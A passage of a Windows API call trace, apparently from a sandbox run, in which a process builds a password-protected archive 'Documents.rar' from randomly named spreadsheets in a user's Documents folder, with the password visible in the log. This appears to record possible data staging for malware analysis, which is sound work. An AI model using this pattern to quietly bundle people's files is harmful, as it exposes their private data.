lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x237296 [0084.006] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0084.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0084.006] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0084.006] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0084.006] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0084.007] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0xec10, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0xec10, lpOverlapped=0x0) returned 1 [0084.008] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0084.008] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.008] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2323001, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x237239 [0084.008] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x237239 [0084.008] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c2a0 [0084.008] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cb10 [0084.008] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209cb10, Size=0x48) returned 0x1162e888680 [0084.008] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0084.008] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c3f0 [0084.008] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c3f0, Size=0x48) returned 0x1162e8893a0 [0084.008] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0084.008] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888680 | out: hHeap=0x1162e7c0000) returned 1 [0084.008] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c840 [0084.008] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c390 [0084.008] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c390 | out: hHeap=0x1162e7c0000) returned 1 [0084.008] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c840 | out: hHeap=0x1162e7c0000) returned 1 [0084.009] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c2a0, Size=0x48) returned 0x1162e888fe0 [0084.009] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888fe0, Size=0x7a) returned 0x1163205cd10 [0084.009] WriteFile (in: hFile=0x32c, lpBuffer=0x1163205cd13*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1163205cd13*, lpNumberOfBytesWritten=0x141a0d82c0*=0x5d, lpOverlapped=0x0) returned 1 [0084.009] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c3f0 [0084.009] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x5d) returned 0x1162e7f9ae0 [0084.009] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8893a0 | out: hHeap=0x1162e7c0000) returned 1 [0084.009] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205cd10 | out: hHeap=0x1162e7c0000) returned 1 [0084.009] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x245ea6 [0084.009] CloseHandle (hObject=0x350) returned 1 [0084.009] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0084.009] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.009] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.009] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.009] FindFirstFileW (in: lpFileName="rhEg_RUaix7K66ZWCFGd.xlsx", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d880 [0084.009] FindClose (in: hFindFile=0x1163204d880 | out: hFindFile=0x1163204d880) returned 1 [0084.009] CreateFileW (lpFileName="rhEg_RUaix7K66ZWCFGd.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\rheg_ruaix7k66zwcfgd.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0084.009] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0084.009] GetTickCount () returned 0x2acc0 [0084.009] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0084.010] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0084.010] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0084.010] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0084.010] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="qBs_.docx") returned 9 [0084.010] SetWindowTextW (hWnd=0x10300, lpString="rhEg_RUaix7K66ZWCFGd.xlsx") returned 1 [0084.010] GetTickCount () returned 0x2acc0 [0084.010] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.010] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a7630) returned 1 [0084.011] CryptGenRandom (in: hProv=0x116320a7630, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0084.011] CryptReleaseContext (hProv=0x116320a7630, dwFlags=0x0) returned 1 [0084.011] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x1, wMilliseconds=0x1fa)) [0084.011] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0084.011] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17533975658) returned 1 [0084.011] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x13c48, lpOverlapped=0x0) returned 1 [0084.012] ReadFile (in: hFile=0x350, lpBuffer=0x11631ba1c88, nNumberOfBytesToRead=0xec3b8, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631ba1c88*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0084.012] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 1 [0084.012] GetMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0084.012] GetFocus () returned 0x1031c [0084.012] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd790) returned 1 [0084.012] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.012] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c900 [0084.012] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c8d0 [0084.012] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c8d0, Size=0x48) returned 0x1162e888ea0 [0084.012] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0084.012] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c6f0 [0084.012] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c6f0, Size=0x48) returned 0x1162e888ef0 [0084.012] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0084.012] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0084.012] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c4b0 [0084.013] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c9c0 [0084.013] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c9c0 | out: hHeap=0x1162e7c0000) returned 1 [0084.013] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c4b0 | out: hHeap=0x1162e7c0000) returned 1 [0084.013] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c900, Size=0x48) returned 0x1162e888ea0 [0084.013] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888ea0, Size=0x7a) returned 0x1163205d3d0 [0084.013] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ef0 | out: hHeap=0x1162e7c0000) returned 1 [0084.013] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205d3d0 | out: hHeap=0x1162e7c0000) returned 1 [0084.015] GetTickCount () returned 0x2acd0 [0084.015] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17534319474) returned 1 [0084.015] GetTickCount () returned 0x2acd0 [0084.015] GetLastError () returned 0x0 [0084.015] SetLastError (dwErrCode=0x0) [0084.015] GetDlgItem (hDlg=0x102f8, nIDDlgItem=154) returned 0x1030a [0084.015] GetWindowTextW (in: hWnd=0x1030a, lpString=0x141a0dc310, nMaxCount=2560 | out: lpString="00:00:02") returned 8 [0084.015] SetWindowTextW (hWnd=0x1030a, lpString="00:00:03") returned 1 [0084.015] GetTickCount () returned 0x2acd0 [0084.015] GetLastError () returned 0x0 [0084.015] SetLastError (dwErrCode=0x0) [0084.015] GetDlgItem (hDlg=0x102f8, nIDDlgItem=151) returned 0x1030e [0084.015] GetWindowTextW (in: hWnd=0x1030e, lpString=0x141a0dc310, nMaxCount=2560 | out: lpString="00:00:01") returned 8 [0084.015] SetWindowTextW (hWnd=0x1030e, lpString="00:00:00") returned 1 [0084.016] GetTickCount () returned 0x2acd0 [0084.016] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 1 [0084.016] GetMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0084.016] GetFocus () returned 0x1031c [0084.016] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd790) returned 1 [0084.017] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0084.017] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.017] ResetEvent (hEvent=0x344) returned 1 [0084.017] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0084.017] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0084.019] ResetEvent (hEvent=0x344) returned 1 [0084.019] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0084.019] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0084.021] ResetEvent (hEvent=0x344) returned 1 [0084.021] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0084.022] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0084.033] GetTickCount () returned 0x2ace0 [0084.033] GetLastError () returned 0x0 [0084.033] SetLastError (dwErrCode=0x0) [0084.033] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0084.033] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0084.033] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0dbe80, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0084.033] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0084.034] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17536269939) returned 1 [0084.034] GetTickCount () returned 0x2ace0 [0084.034] GetTickCount () returned 0x2ace0 [0084.034] GetTickCount () returned 0x2ace0 [0084.034] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 1 [0084.035] GetMessageW (in: lpMsg=0x141a0dd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd760) returned 1 [0084.035] GetFocus () returned 0x1031c [0084.035] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd760) returned 1 [0084.035] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 1 [0084.035] GetMessageW (in: lpMsg=0x141a0dd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd760) returned 1 [0084.035] GetFocus () returned 0x1031c [0084.035] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd760) returned 1 [0084.036] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.036] ResetEvent (hEvent=0x33c) returned 1 [0084.036] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0084.037] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0084.037] ResetEvent (hEvent=0x33c) returned 1 [0084.037] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0084.038] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0084.038] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0084.038] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.038] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x245ea6 [0084.038] SetFilePointer (in: hFile=0x32c, lDistanceToMove=109, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x245f13 [0084.038] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0084.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0084.038] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0084.038] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0084.038] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0084.038] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x13ce0, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x13ce0, lpOverlapped=0x0) returned 1 [0084.039] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0084.039] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.039] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2383526, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x245ea6 [0084.039] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x245ea6 [0084.039] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c600 [0084.040] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c270 [0084.040] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c270, Size=0x48) returned 0x1162e889120 [0084.040] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0084.040] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c390 [0084.040] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c390, Size=0x48) returned 0x1162e888810 [0084.040] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0084.040] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e889120 | out: hHeap=0x1162e7c0000) returned 1 [0084.040] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c2d0 [0084.040] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c450 [0084.040] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c450 | out: hHeap=0x1162e7c0000) returned 1 [0084.040] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c2d0 | out: hHeap=0x1162e7c0000) returned 1 [0084.040] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c600, Size=0x48) returned 0x1162e888ea0 [0084.040] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888ea0, Size=0x7a) returned 0x1163205e150 [0084.040] WriteFile (in: hFile=0x32c, lpBuffer=0x1163205e153*, nNumberOfBytesToWrite=0x6d, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1163205e153*, lpNumberOfBytesWritten=0x141a0d82c0*=0x6d, lpOverlapped=0x0) returned 1 [0084.040] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cbd0 [0084.040] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x6d) returned 0x1163204f4f0 [0084.040] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888810 | out: hHeap=0x1162e7c0000) returned 1 [0084.040] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205e150 | out: hHeap=0x1162e7c0000) returned 1 [0084.040] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x259bf3 [0084.040] CloseHandle (hObject=0x350) returned 1 [0084.040] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0084.040] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.040] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.040] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.040] FindFirstFileW (in: lpFileName="uGw1_n9EtC7y-G8.xlsx", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0084.040] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0084.041] CreateFileW (lpFileName="uGw1_n9EtC7y-G8.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\ugw1_n9etc7y-g8.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0084.041] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0084.041] GetTickCount () returned 0x2ace0 [0084.041] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0084.041] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0084.041] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0084.041] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0084.041] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="rhEg_RUaix7K66ZWCFGd.xlsx") returned 25 [0084.041] SetWindowTextW (hWnd=0x10300, lpString="uGw1_n9EtC7y-G8.xlsx") returned 1 [0084.041] GetTickCount () returned 0x2ace0 [0084.041] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.041] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a7630) returned 1 [0084.043] CryptGenRandom (in: hProv=0x116320a7630, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0084.043] CryptReleaseContext (hProv=0x116320a7630, dwFlags=0x0) returned 1 [0084.043] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x1, wMilliseconds=0x21a)) [0084.043] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0084.043] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17537125405) returned 1 [0084.043] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x46cf, lpOverlapped=0x0) returned 1 [0084.044] ReadFile (in: hFile=0x350, lpBuffer=0x11631b9270f, nNumberOfBytesToRead=0xfb931, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b9270f*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0084.044] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c750 [0084.044] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c720 [0084.044] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c720, Size=0x48) returned 0x1162e888ea0 [0084.044] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86dcf0 [0084.044] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c780 [0084.044] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c780, Size=0x48) returned 0x1162e888ef0 [0084.044] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86dcf0 | out: hHeap=0x1162e7c0000) returned 1 [0084.044] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0084.044] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c210 [0084.044] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c8a0 [0084.044] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c8a0 | out: hHeap=0x1162e7c0000) returned 1 [0084.044] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c210 | out: hHeap=0x1162e7c0000) returned 1 [0084.044] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c750, Size=0x48) returned 0x1162e8893a0 [0084.044] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e8893a0, Size=0x7a) returned 0x1163205cf50 [0084.044] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ef0 | out: hHeap=0x1162e7c0000) returned 1 [0084.044] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205cf50 | out: hHeap=0x1162e7c0000) returned 1 [0084.046] GetTickCount () returned 0x2acef [0084.047] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: 